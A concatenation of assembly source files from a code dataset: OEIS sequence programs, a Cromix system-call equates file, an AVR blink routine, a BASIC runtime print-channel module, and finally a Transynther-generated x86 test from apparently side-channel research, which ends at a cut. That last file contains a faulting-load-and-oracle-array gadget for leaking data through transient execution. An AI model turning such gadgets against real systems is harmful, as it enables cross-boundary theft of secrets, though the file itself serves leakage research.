push si ;save x-length
.for_x:
push di ;save y-length
.for_y:
pusha
;mov al, 1 ;color value
mov bh, 0 ;page number
add cx, si ;cx = x-coordinate
add dx, di ;dx = y-coordinate
mov ah, 0xC ;write pixel at coordinate
int 0x10 ;might "destroy" ax, si and di on some systems
popa
sub di, 1 ;decrease di by one and set flags
jnz .for_y ;repeat for y-length
pop di ;restore di
sub si, 1 ;decrease si by one and set flags
jnz .for_x ;repeat for x-length
pop si ;restore si
ret
;------------------------------------------------------
%assign usedMemory ($-$$)
%assign usableMemory (512*16)
%warning [usedMemory/usableMemory] Bytes used
times (512*16)-($-$$) db 0 ;kernel must have size multiple of 512 so let's pad it to the correct size | 24.939394 | 101 | 0.625152 |
6e97aed49795995582e3899cdb3dc57f248293ca | 841 | asm | Assembly | oeis/269/A269578.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/269/A269578.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/269/A269578.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A269578: Number of length-n 0..2 arrays with no repeated value differing from the previous repeated value by more than one.
; Submitted by Christian Krause
; 3,9,27,79,229,659,1889,5401,15419,43977,125355,357191,1017565,2898435,8255201,23510865,66956883,190683433,543031707,1546443295,4403932917,12541401683,35714999425,101707905961,289639951179,824825396777,2348905060331,6689117549015,19048998439469,54246963815299,154482293246529,439928369146657,1252810033271843,3567701185623241,10159953492609179,28933099835249519,82394497646558597,234639678130921875,668197271382181409,1902864838515897017,5418900596422096347,15431723301258787593,43945829929509551019
add $0,2
lpb $0
sub $0,1
add $2,$1
add $3,$1
add $4,$1
add $4,$1
add $5,$2
add $1,$5
add $1,1
mov $2,$3
add $2,$4
sub $5,$4
mov $3,$5
lpe
mov $0,$4
add $0,1
| 38.227273 | 500 | 0.788347 |
f02d1cd7b2f4457c0f6623a0fd8a39ec0bb24113 | 14,122 | asm | Assembly | file-system/root/equ/jsysequ.asm | dwildie/cromix-s100computers | 5155b207b5660aa28b46dee6ce2c1709c50b02f1 | [
"Apache-2.0"
] | 2 | 2022-01-13T22:27:43.000Z | 2022-03-22T23:26:47.000Z | file-system/root/equ/jsysequ.asm | dwildie/cromix-s100computers | 5155b207b5660aa28b46dee6ce2c1709c50b02f1 | [
"Apache-2.0"
] | null | null | null | file-system/root/equ/jsysequ.asm | dwildie/cromix-s100computers | 5155b207b5660aa28b46dee6ce2c1709c50b02f1 | [
"Apache-2.0"
] | null | null | null | list off
; @(#)jsysequ.asm 1.9 (9/16/87)
;
; Copyright (c) 1986 by Cromemco, Inc., All Rights Reserved
;
; This file contains declarations of all values which are
; used during calls to the Cromix-Plus operating system.
;
stdin equ 0 ;standard input channel
stdout equ 1 ;standard output channel
stderr equ 2 ;standard error channel
;
; D2 & D3 register modes for _create, _open
;
op_read equ 0 ;read only
op_write equ 1 ;write only
op_rdwr equ 2 ;read and write
op_append equ 3 ;append only
op_xread equ 4 ;exclusive read only
op_xwrite equ 5 ;exclusive write only
op_xrdwr equ 6 ;exclusive read and write
op_xappend equ 7 ;exclusive append only
op_truncf equ 80H ;truncate on create flag
op_condf equ 40H ;conditional create flag
op_force equ 20H ;force open of block device
;
; D2-register file position modes for .setpos
;
fwd_begin equ 0 ;forward from the beginning of the file
fwd_current equ 1 ;forward from the current file position
fwd_end equ 2 ;forward from the end of the file
bak_current equ -1 ;backward from the current file position
bak_end equ -2 ;backward from the end of the file
;
; D2-register modes for _fstat, _cstat, _fchstat, _cchstat
;
st_all equ 0 ;all of inode (128 bytes)
st_owner equ 1 ;D3 = owner
st_group equ 2 ;D3 = group
st_aowner equ 3 ;D3 = owner access, mask
st_agroup equ 4 ;D3 = group access, mask
st_aother equ 5 ;D3 = other access, mask
st_ftype equ 6 ;D3 = file type, special device #
st_size equ 7 ;D3 = file size
st_nlinks equ 8 ;D3 = number of links
st_inum equ 9 ;D3 = inode number
st_device equ 10 ;D3,D4 = device containing inode
st_tcreate equ 11 ;D3 -> time created
st_tmodify equ 12 ;D3 -> time last modified
st_taccess equ 13 ;D3 -> time last accessed
st_tdumped equ 14 ;D3 -> time last dumped
st_devno equ 15 ;D3,D4 = device # if inode is device
st_pdevno equ 16 ;D3,D4 = device # if inode is device
st_stext equ 17 ;D3 = shared text attribute
st_protect equ 18 ;D3 = delete protect attribute
;
; D2-register modes for _ustat, _chstat
;
usr_ctty equ 0 ;D3 = controlling tty device number
usr_prior equ 1 ;D3 = process priority
usr_parent equ 2 ;D3 = parent process id
usr_memp equ 3 ;D3 = address of user code
usr_mems equ 4 ;D3 = size of code memory
usr_time equ 5 ;D3 = process time in miliseconds
usr_ctime equ 6 ;D3 = children time in miliseconds
usr_user equ 7 ;D3 = effective user id
usr_group equ 8 ;D3 = effective group id
usr_term equ 9 ;D3 = terminal identification
usr_hdevn equ 10 ;D3 = home directory device number
usr_hinum equ 11 ;D3 = home directory inode number
usr_cdevn equ 12 ;D3 = current directory device number
usr_cinum equ 13 ;D3 = current directory inode number
usr_static equ 14 ;D3 = programmable pointer
usr_grand equ 15 ;D3 = grandparent process id
usr_job equ 16 ;D3.L = job number
;
; file types for st_ftype
;
is_ordin equ 0 ;ordinary file
is_direct equ 1 ;directory file
is_char equ 2 ;character device
is_block equ 3 ;block device
is_pipe equ 4 ;pipe file
;
; access bits for access flags
;
ac_read equ 0 ;read access bit
ac_exec equ 1 ;execute access bit
ac_writ equ 2 ;write access bit
ac_apnd equ 3 ;append access bit
;
; D2 register modes for _setuser, _getuser, _setgroup, _getgroup
;
id_effective equ 0 ;effective id
id_login equ 1 ;login id
id_program equ 2 ;program id
id_d3 equ 3 ;id contained in D3 register
;
; signals
;
sigabort equ 1 ; Abort signal
siguser equ 2 ; User signal
sigkill equ 3 ; Kill signal (not catchable)
sigterm equ 4 ; Terminate signal (catchable)
sigalarm equ 5 ; Alarm clock signal
sigpipe equ 6 ; Broken pipe
sighangup equ 7 ; Hang up
; equ 8 ; Reserved
;
;
; SYSTEM CALL NUMBERS
; system calls commented out are not implemented in current version
;
_makdev equ 00H ;makdev(D2,D3,D4,A0) make device entry
_makdir equ 01H ;makdir(A0) make a directory
_getdir equ 02H ;getdir(A0) get current directory name
_setdir equ 03H ;setdir(A0) change current directory
_mount equ 04H ;mount(D1,A0,A1) mount file system
_unmount equ 05H ;unmount(D2,A0) unmount file system
_delete equ 06H ;delete(A0) delete file
_chkdev equ 07H ;chkdev(D2,D3,D4) check for device driver
_create equ 08H ;D1=create(D2,D3,A0) create & open file
_open equ 09H ;D1=open(D2,D3,A0) open file
_chdup equ 0AH ;D2=chdup(D1) duplicate channel
_close equ 0BH ;close(D1) close file
_exchg equ 0CH ;exchg(D1,D2) exchange data in files
_trunc equ 0DH ;trunc(D1) truncate open file
_pipe equ 0EH ;D1,D2=pipe() create a pipe
_setlev equ 0FH ;setlev(D1) set interrupt level
_getpos equ 10H ;D3=getpos(D1) get file position
_setpos equ 11H ;setpos(D1,D2,D3) set file position
_getmode equ 12H ;D3=getmode(D1,D2) get device characteristics
_setmode equ 13H ;D3=setmode(D1,D2,D3,D4)set device characteristics
_rdseq equ 14H ;D3=rdseq(D1,D3,A0) read D3 maximum bytes
_wrseq equ 15H ;D3=wrseq(D1,D3,A0) write D3 bytes
_rdbyte equ 16H ;D0=rdbyte(D1) read 1 byte
_wrbyte equ 17H ;wrbyte(D1,D0) write 1 byte
_rdline equ 18H ;D3=rdline(D1,D3,A0) read a line
_wrline equ 19H ;D3=wrline(D1,A0) write a line
_phys equ 1AH ;phys(A0,D3,D2) access to phys memory
_printf equ 1BH ;printf(D1,A0) print formatted string
_error equ 1CH ;error(D0,D1,...) print error message
_semget equ 1DH ;D3=semget(D1,D2,D4) get semaphore group id
_semop equ 1EH ;semop(D1,D2,A0) semaphore operation
_semctl equ 1FH ;D3=semctl(D1,D2,D4,A0) semaphore control operation
_fstat equ 20H ;D3=fstat(D2,A0,A1) get file status (inode)
_cstat equ 21H ;D3=cstat(D1,D2,A1) get channel status (inode)
_fchstat equ 22H ;fchstat(D2,D3,D4,A0,A1)change file status
_cchstat equ 23H ;cchstat(D1,D2,D3,D4,A1)change channel status
_flink equ 24H ;flink(A0,A1) link to file
_clink equ 25H ;clink(D1,A1) link to open channel
_faccess equ 26H ;faccess(D2,A0) test file access
_caccess equ 27H ;caccess(D1,D2) test channel access
_ustat equ 28H ;ustat(D1,D2,D3) get process information
_uchstat equ 29H ;uchstat(D1,D2,D3) set process information
_msgget equ 2AH ;D3=msgget(D1,D2) get message queue identifier
_msgsnd equ 2BH ;msgsnd(D1,D2,D3,A0) send message
_msgrcv equ 2CH ;D3=msgrcv(D1,D2,D3,D4,A0) receive message
_msgctl equ 2DH ;msgctl(D1,D2,A0) message control
_zgetmode equ 2EH ; reserved for Z80.bin
_zsetmode equ 2FH ; reserved for Z80.bin
;
_getdate equ 30H ;D0,D1,D2,D3=getdate() get date
_setdate equ 31H ;setdate(D1,D2,D3) set date
_gettime equ 32H ;D1,D2,D3=gettime() get time
_settime equ 33H ;settime(D1,D2,D3) set time
_getuser equ 34H ;D3=getuser(D2) get user id
_setuser equ 35H ;setuser(D1,D2,D3) set user id
_getgroup equ 36H ;D3=getgroup(D2) get group id
_setgroup equ 37H ;setgroup(D1,D2,D3) set group id
_getprior equ 38H ;D3=getprior() get process priority
_setprior equ 39H ;setprior(D3) set process priority
_getproc equ 3AH ;D3=getproc() get process id
_gettable equ 3BH ;D3=gettable() get system pointer
; equ 3CH
; equ 3DH
_lock equ 3EH ;lock(D2,D3,A0) lock key
_unlock equ 3FH ;unlock(D2,D3,A0) unlock key
_signal equ 40H ;A0=signal(D2,A0) set up to receive a signal
_kill equ 41H ;kill(D2,D3) send a signal
_sleep equ 42H ;sleep(D3) sleep D3 seconds
_alarm equ 43H ;alarm(D3) set alarm clock
_pause equ 44H ;pause() pause for alarm clock
_wait equ 45H ;D1,D2,D3=wait(D1,D3) wait for child process
_exit equ 46H ;exit(D3) exit process (close files)
; equ 47H
_fshell equ 48H ;D3=fshell(D1,D2,A1) fork a shell process
_shell equ 49H ;shell(A1) transfer to shell process
; equ 4AH
_fexec equ 4BH ;D3=fexec(D1,D2,A0,A1) fork and execute program
_exec equ 4CH ;exec(A0,A1) execute program
; equ 4DH
_ptrace equ 4EH ;ptrace(D1,D2,A0,A1,D3) trace user program
; equ 4FH
_memory equ 50H ;A0=memory(A0,D1,D2,D3) allocate user memory
_indirect equ 51H ;indirect(D0...) system call in D0 register
_update equ 52H ;update() update disk I/O buffers
_mult equ 53H ;D3=D1*D2 32 bit multiply
_divd equ 54H ;D3,D4=D1/D2 32 bit divide
_version equ 55H ;D3=version() get system version #
_boot equ 56H ;boot(A0,A1,D1) boot new system
; equ 57H
_shmget equ 58H ;D3=shmget(D1,D2,D4) get shared memory identifier
_shmat equ 59H ;A0=shmat(D1,D2) attach shared memory
_shmdt equ 5AH ;shmdt(D1,A0) dettach shared memory
_shmctl equ 5BH ;shmctl(D1,D2,A0) shared memory control
form
;* error code definitions -- RVH Jan 30,1979
?badchan equ 1 ;bad channel #
?toomany equ 2 ;channel already open
?notopen equ 3 ;channel not open
?endfile equ 4 ;end-of-file
?ioerror equ 5 ;I/O error
?filtable equ 6 ;file table exhausted
?notexist equ 7 ;file does not exist
?badname equ 8 ;bad file name
?diraccess equ 9 ;directory access
?filaccess equ 10 ;file access
?exists equ 11 ;file already exists
?nospace equ 12 ;no disk space left
?noinode equ 13 ;no inodes left
?inotable equ 14 ;inode table exhausted
?badcall equ 15 ;illegal system call
?filsize equ 16 ;file size too big
?mnttable equ 17 ;mount table exhausted
?notdir equ 18 ;not a directory
?isdir equ 19 ;is a directory
?priv equ 20 ;privileged system call
?notblk equ 21 ;not a block special device
?fsbusy equ 22 ;file system busy
?notordin equ 23 ;not an ordinary file
?notmount equ 24 ;device not mounted
?nochild equ 25 ;no child processes
?nomemory equ 26 ;not enough memory
?ovflo equ 27 ;divide overflow
?argtable equ 28 ;argument table exhausted
?arglist equ 29 ;bad argument list
?numlinks equ 30 ;too many number of links
?difdev equ 31 ;cross-device link
?nodevice equ 32 ;no special device
?usrtable equ 33 ;user process table exhausted
?badvalue equ 34 ;value out of range
?notconn equ 35 ;I/O device not connected
?devopen equ 36 ;device open error
?diruse equ 37 ;directory in use (delete)
?filuse equ 38 ;file in use (exclusive access)
?nomatch equ 39 ;no match on ambiguous name
?chnaccess equ 40 ;channel access
?notcromix equ 41 ;not a cromix disk
?badfree equ 42 ;bad free list
?badinum equ 43 ;bad inode number
?readonly equ 44 ;device mounted for read only
?noproc equ 45 ;process does not exist
?signal equ 46 ;system call was aborted
?badpipe equ 47 ;bad call on a pipe
?locked equ 48 ;locked
?deadlock equ 49 ;deadlocked
?lcktable equ 50 ;lock table exhausted
?tapeio equ 51 ;tape I/O error
?badio equ 52 ;bad I/O
;noz80 equ 53 ;cannot run Z80 programs
?badformat equ 54 ;bad file format
?runaway equ 55 ;runaway program aborted
?cdossim equ 56 ;CDOS simmulator required
?corrupt equ 57 ;system image corrupted
?ipcaccess equ 58 ;IPC access error
?ipcspace equ 59 ;IPC insufficient space
?ipcexists equ 60 ;IPC facility already exists
?ipcnoent equ 61 ;IPC facility not found
?ipcremove equ 62 ;IPC facility removed
?ipcagain equ 63 ;IPC try again
?ipc2big equ 64 ;IPC facility too big
?ipcnomsg equ 65 ;IPC no message waiting
?ipcrange equ 66 ;IPC range error
?ptable equ 67 ;Out of page tables
?nostext equ 68 ;Out of shared text tables
?badaddress equ 69 ;Bad address
?delprotect equ 70 ;Protected against delete
list on
| 47.389262 | 76 | 0.580725 |
04835cb88162b5c83d1bda089a0e3f1cbebae3e2 | 847 | asm | Assembly | src/avr/assignment-6/6-B-AVR.asm | klaussinani/microcomputer-assembly | e33c5a8ed2986e5be660f69631da62f15e656aef | [
"MIT"
] | 9 | 2019-07-31T13:26:50.000Z | 2021-12-15T12:41:27.000Z | src/avr/assignment-6/6-B-AVR.asm | klaussinani/microcomputer-assembly | e33c5a8ed2986e5be660f69631da62f15e656aef | [
"MIT"
] | null | null | null | src/avr/assignment-6/6-B-AVR.asm | klaussinani/microcomputer-assembly | e33c5a8ed2986e5be660f69631da62f15e656aef | [
"MIT"
] | 1 | 2021-07-14T08:35:42.000Z | 2021-07-14T08:35:42.000Z | .include "m16def.inc"
.def temp=r16
.cseg
.org 0x0
ldi temp,HIGH(RAMEND)
out SPH,temp
ldi temp,LOW(RAMEND)
out SPL,temp
ser r26
out DDRA, r26
clr r26
out DDRB, r26
ser r26
out PORTB, r26
flash:
in r23, PINB ; input
mov r22, r23
rcall on ; light it up
andi r23, 0x0f
;inc r23
wait_on:
ldi r24, 0x64
ldi r25, 0x00
rcall wait_msec ;repeat x times
;dec r23
brne wait_on
rcall off
swap r22
andi r22, 0x0f
;inc r22
wait_off:
ldi r24, 0x64
ldi r25, 0x00
rcall wait_msec
;dec r22
brne wait_off
rjmp flash
on:
ser r26
out PORTA , r26
ret
off:
clr r26
out PORTA , r26
ret
wait_msec:
push r24
push r25
ldi r24 , low(998)
ldi r25 , high(998)
rcall wait_usec
pop r25
pop r24
sbiw r24 ,1
brne wait_msec
ret
wait_usec:
sbiw r24 ,1
nop
nop
nop
nop
brne wait_usec
ret
| 11.293333 | 33 | 0.658796 |
04846f324e2c6499872976d15fe8b344c2a092c5 | 5,963 | asm | Assembly | 45/runtime/rt/pr0a.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/pr0a.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/pr0a.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | TITLE PR0A - Prepare for printing
page 56,132
;***
; PR0A - Prepare for printing
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
; BASIC Syntax mapping to included runtime entry points:
;
; - LPRINT [USING] Statement :
;
; LPRINT [USING "...";] [list of expressions]
; ------ -------------- ---------------------
; | | |
; B$LPRT B$USNG (see comments in prnval.asm header)
;
; - PRINT [#] [USING] Statement:
;
; PRINT [#filenumber,] [USING "...";] [list of expresions]
; ------------- -------------- --------------------
; | | |
; B$CHOU B$USNG (see comments in prnval.asm header)
;
; - WRITE [#] Statement:
;
; WRITE [#filenumber,] [list of expressions]
; ----- ------------ ---------------------
; | | |
; B$WRIT B$CHOU (see comments in prnval.asm header)
;
; PRINT -- no preamble
; WRITE -- B$WRIT
; LPRINT -- B$LPRT
;
; # -- B$CHOU
; USING -- B$USNG
;
; Note: Currently, there are two routines which set up channels,
; namely, B$CHAN, and B$CHOU. B$CHAN sets up channel
; number without checking mode, and B$CHOU excludes the
; input mode.
;
;******************************************************************************
INCLUDE switch.inc
INCLUDE rmacros.inc
;Code segments:
useSeg DV_TEXT ;device independent I/O
useSeg DK_TEXT ;disk I/O
useSeg NH_TEXT ;near heap
useSeg ER_TEXT ;error handling
;Data segments:
useSeg CONST ;constant definitions
useSeg _DATA ;initialized variables
useSeg _BSS ;uninitialized variables
INCLUDE seg.inc
INCLUDE baslibma.inc
INCLUDE devdef.inc
INCLUDE files.inc
INCLUDE rtps.inc ; constants shared with QBI
SUBTTL local constant definitions
page
TTY EQU 0 ;default for b$PTRFIL is TTY
PRSTM EQU 0 ;print statement
CHANL EQU 1 ;#
USING EQU 2 ;using
WRSTM EQU 4 ;write statement
LPSTM EQU 8 ;lprint statement
SUBTTL data definitions
page
sBegin CONST
labelW <PUBLIC,b$FILVEC> ;vector for PRINT
staticW ,B$$POS ;cursor position
staticW ,B$$WID ;line width
staticW ,B$$WCLF ;force EOL
staticW ,B$$WCH ;write one character
staticW ,B$PRTSTR ;write a string with BX=*sd
staticW ,B$PRT_TYPCNT ;write a string with CX=length
staticW ,B$PRT_OUTCNT ;write a string char. by char.
staticW ,B$PRTCHK ; force EOL if string too long
sEnd ;end of CONST
sBegin _DATA
externB b$PRFG ;flag for PRINT/LPRINT/WRITE [#][USING]
externW B$ENTRY_BUFCNT ; fdb position before exec of current
; statment.
sEnd ;_DATA
sBegin _BSS
externW b$PTRFIL ;defined in GOSTOP.ASM
sEnd ;_BSS
SUBTTL code segment definitions
page
sBegin DK_TEXT
externNP B$WCHSET ; in prnval.asm, set dispatch vector
sEnd ;DK_TEXT
sBegin DV_TEXT
externNP B$$POS
externNP B$$WID
externNP B$$WCLF
externNP B$$WCH
externNP B$PRTSTR
externNP B$PRT_TYPCNT
externNP B$PRT_OUTCNT
externNP B$PRTCHK
sEnd ;DV_TEXT
sBegin NH_TEXT
externNP B$LHFDBLOC
sEnd
sBegin ER_TEXT
externNP B$ERR_IFN
externNP B$ERR_BFM
sEnd ;ER_TEXT
assumes CS,DK_TEXT
sBegin DK_TEXT
SUBTTL interface for set up channel -- B$CHAN & B$CHOU
page
;***
;B$CHAN -- set up channel for statements
;void B$CHAN(I2 channel)
;
;Purpose:
; Check and make the I/O channel active for current statement.
;Entry:
; Parameter is in stack.
; int Channel
;Exit:
; AL = device type
; [b$PTRFIL] is set to the active FDB
;Uses:
; none
;Exceptions:
; illegal file number -- ERC_IFN
;*******************************************************************************
cProc B$CHAN,<PUBLIC,FAR>,<SI> ;save SI
ParmW Channel ;channel #
cBegin
MOV BX,Channel ;BX has the channel #
cCall B$ChkFNUM ;check file number, must be 1-255
CALL B$LHFDBLOC ; [SI] = *FDB & NZ if channel is active
JZ ERCIFN ;illegal file number
MOV [b$PTRFIL],SI ;store the pointer/handle
FDB_PTR ES,SI,SI ;(ES:)[SI] = *FDB
MOV AX,FileDB.FD_BUFCNT ;Save current fdb position
MOV B$ENTRY_BUFCNT,AX ;Used to reset on error
MOV AL,FileDB.FD_DEVICE ;return device number
cEnd ;pop SI, exit to caller
;***
;B$CHOU -- set up channel for statements
;void B$CHOU(I2 channel)
;
;Purpose:
; Check and make the I/O channel active for current print statement.
; It also checks whether the file mode is correct. If the mode is
; input, this routine gives error message. If mode is O.K., it
; sets up flag, b$PRFG, to indicate a special channel is using.
;Entry:
; Parameter is in stack.
; int Channel
;Exit:
; [b$PTRFIL] is set to the active FDB
; [b$PRFG] OR CHANL (=1)
;Uses:
; none
;Exceptions:
; illegal file number (B$ERR_IFN)
; Bad file mode -- B$ERR_BFM
;*******************************************************************************
cProc B$CHOU,<PUBLIC,FAR>,<SI> ;save SI
ParmW Channel ;channel #
cBegin
MOV BX,Channel ;BX has the channel #
cCall B$ChkFNUM ;go check file number, must be 1-255
CALL B$LHFDBLOC ; [SI] = *FDB & NZ if channel is active
JZ ERCIFN ;illegal file number
MOV AX,FileDB.FD_BUFCNT ; Save current fdb position
MOV B$ENTRY_BUFCNT,AX ; Used to reset on error
CMP FileDB.FD_MODE,MD_SQI ;can't be input
JE ERCBFM ;give bad file mode
MOV [b$PTRFIL],SI ;store the pointer/handle
OR [b$PRFG],CHANL ;set the flag for print
; (note: can't use MOV here)
MOV SI,OFFSET DGROUP:b$FILVEC
cCall B$WCHSET ;set the dispatch vector for print items
cEnd ;pop SI, exit to caller
ERCBFM: JMP B$ERR_BFM
ERCIFN: JMP B$ERR_IFN
;***
;B$ChkFNUM -- check file number
;
;Purpose:
; Check file number is within 1-255. Otherwise give "illegal file
; number"
;Entry:
; [BX] = file number
;Exit:
; none
;Uses:
; none
;Preserves: (optional)
; all
;Exceptions:
; illegal file number -- ERC_IFN
;*******************************************************************************
cProc B$ChkFNUM,<PUBLIC,NEAR>
cBegin
OR BX,BX ;can't be 0
JZ ERCIFN ;Brif yes, give "illegal file number"
OR BH,BH ;can't exceed 255
JNZ ERCIFN ;Brif yes, give "illegal file number"
cEnd ;if no error, exit to caller
sEnd ;DK_TEXT
END
| 24.742739 | 80 | 0.645145 |
7f0d58146e745fd69720433efe0b7de16d912789 | 1,423 | asm | Assembly | programs/oeis/028/A028563.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/028/A028563.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/028/A028563.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A028563: a(n) = n*(n+7).
; 0,8,18,30,44,60,78,98,120,144,170,198,228,260,294,330,368,408,450,494,540,588,638,690,744,800,858,918,980,1044,1110,1178,1248,1320,1394,1470,1548,1628,1710,1794,1880,1968,2058,2150,2244,2340,2438,2538,2640,2744,2850,2958,3068,3180,3294,3410,3528,3648,3770,3894,4020,4148,4278,4410,4544,4680,4818,4958,5100,5244,5390,5538,5688,5840,5994,6150,6308,6468,6630,6794,6960,7128,7298,7470,7644,7820,7998,8178,8360,8544,8730,8918,9108,9300,9494,9690,9888,10088,10290,10494,10700,10908,11118,11330,11544,11760,11978,12198,12420,12644,12870,13098,13328,13560,13794,14030,14268,14508,14750,14994,15240,15488,15738,15990,16244,16500,16758,17018,17280,17544,17810,18078,18348,18620,18894,19170,19448,19728,20010,20294,20580,20868,21158,21450,21744,22040,22338,22638,22940,23244,23550,23858,24168,24480,24794,25110,25428,25748,26070,26394,26720,27048,27378,27710,28044,28380,28718,29058,29400,29744,30090,30438,30788,31140,31494,31850,32208,32568,32930,33294,33660,34028,34398,34770,35144,35520,35898,36278,36660,37044,37430,37818,38208,38600,38994,39390,39788,40188,40590,40994,41400,41808,42218,42630,43044,43460,43878,44298,44720,45144,45570,45998,46428,46860,47294,47730,48168,48608,49050,49494,49940,50388,50838,51290,51744,52200,52658,53118,53580,54044,54510,54978,55448,55920,56394,56870,57348,57828,58310,58794,59280,59768,60258,60750,61244,61740,62238,62738,63240,63744
mov $1,$0
add $0,7
mul $1,$0
| 203.285714 | 1,365 | 0.801827 |
7eb6e268b55ad4f8cfdda129285468f9c35ca98e | 8,320 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_4148_1485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_4148_1485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2_notsx.log_4148_1485.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xf6ed, %rsi
lea addresses_D_ht+0x1416d, %rdi
clflush (%rsi)
nop
nop
add %r9, %r9
mov $32, %rcx
rep movsw
nop
nop
nop
nop
inc %r13
lea addresses_WC_ht+0x1046d, %r11
clflush (%r11)
xor $18270, %rsi
movw $0x6162, (%r11)
nop
sub $57806, %rsi
lea addresses_WT_ht+0xad6d, %r13
nop
nop
nop
cmp $984, %rcx
mov $0x6162636465666768, %r11
movq %r11, %xmm2
movups %xmm2, (%r13)
nop
nop
nop
nop
nop
and $63564, %rdi
lea addresses_UC_ht+0x1c16d, %rdi
nop
xor $39707, %r9
movb (%rdi), %r13b
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_D_ht+0x1d96d, %rdi
nop
nop
and %rdx, %rdx
mov $0x6162636465666768, %r9
movq %r9, %xmm5
vmovups %ymm5, (%rdi)
nop
xor $5104, %rdx
lea addresses_WT_ht+0xfabd, %rsi
lea addresses_UC_ht+0x1cd6d, %rdi
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $31, %rcx
rep movsq
dec %r13
lea addresses_D_ht+0x119cd, %r11
nop
add %rcx, %rcx
movb $0x61, (%r11)
nop
nop
nop
nop
sub $27841, %rsi
lea addresses_normal_ht+0x1ab9d, %rcx
nop
nop
nop
dec %rdi
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %rcx
movntdq %xmm5, (%rcx)
nop
nop
inc %rdx
lea addresses_normal_ht+0x17e2d, %rbx
clflush (%rbx)
nop
and $19913, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm4
vmovups %ymm4, (%rbx)
nop
nop
cmp %rsi, %rsi
lea addresses_normal_ht+0x4b6d, %rsi
lea addresses_D_ht+0x986d, %rdi
cmp %rbx, %rbx
mov $45, %rcx
rep movsb
nop
nop
xor %r11, %r11
lea addresses_D_ht+0x1496d, %r9
nop
and %rdx, %rdx
movb (%r9), %bl
nop
nop
nop
nop
sub $38151, %rsi
lea addresses_WT_ht+0x1a96d, %rdx
nop
nop
nop
cmp %rbx, %rbx
movl $0x61626364, (%rdx)
nop
nop
nop
xor $57487, %rsi
lea addresses_normal_ht+0x8c6d, %rsi
nop
dec %r13
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %rdx
nop
nop
xor $56354, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r9
push %rbp
push %rbx
push %rdi
push %rdx
// Load
lea addresses_D+0xe99f, %rbx
cmp %r10, %r10
mov (%rbx), %dx
nop
nop
nop
nop
nop
xor $42663, %rbp
// Store
lea addresses_D+0x96cd, %rbx
nop
nop
nop
nop
and $8670, %r14
mov $0x5152535455565758, %r10
movq %r10, (%rbx)
add %rdi, %rdi
// Store
lea addresses_RW+0xa56d, %rdx
nop
nop
nop
nop
nop
inc %rbx
movb $0x51, (%rdx)
nop
and $52891, %r10
// Store
lea addresses_D+0xd6d, %r9
nop
nop
nop
nop
sub $18126, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, %xmm0
movups %xmm0, (%r9)
nop
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_D+0x1696d, %r14
nop
nop
nop
nop
add $14485, %rdi
movntdqa (%r14), %xmm2
vpextrq $0, %xmm2, %r10
lea oracles, %r9
and $0xff, %r10
shlq $12, %r10
mov (%r9,%r10,1), %r10
pop %rdx
pop %rdi
pop %rbx
pop %rbp
pop %r9
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
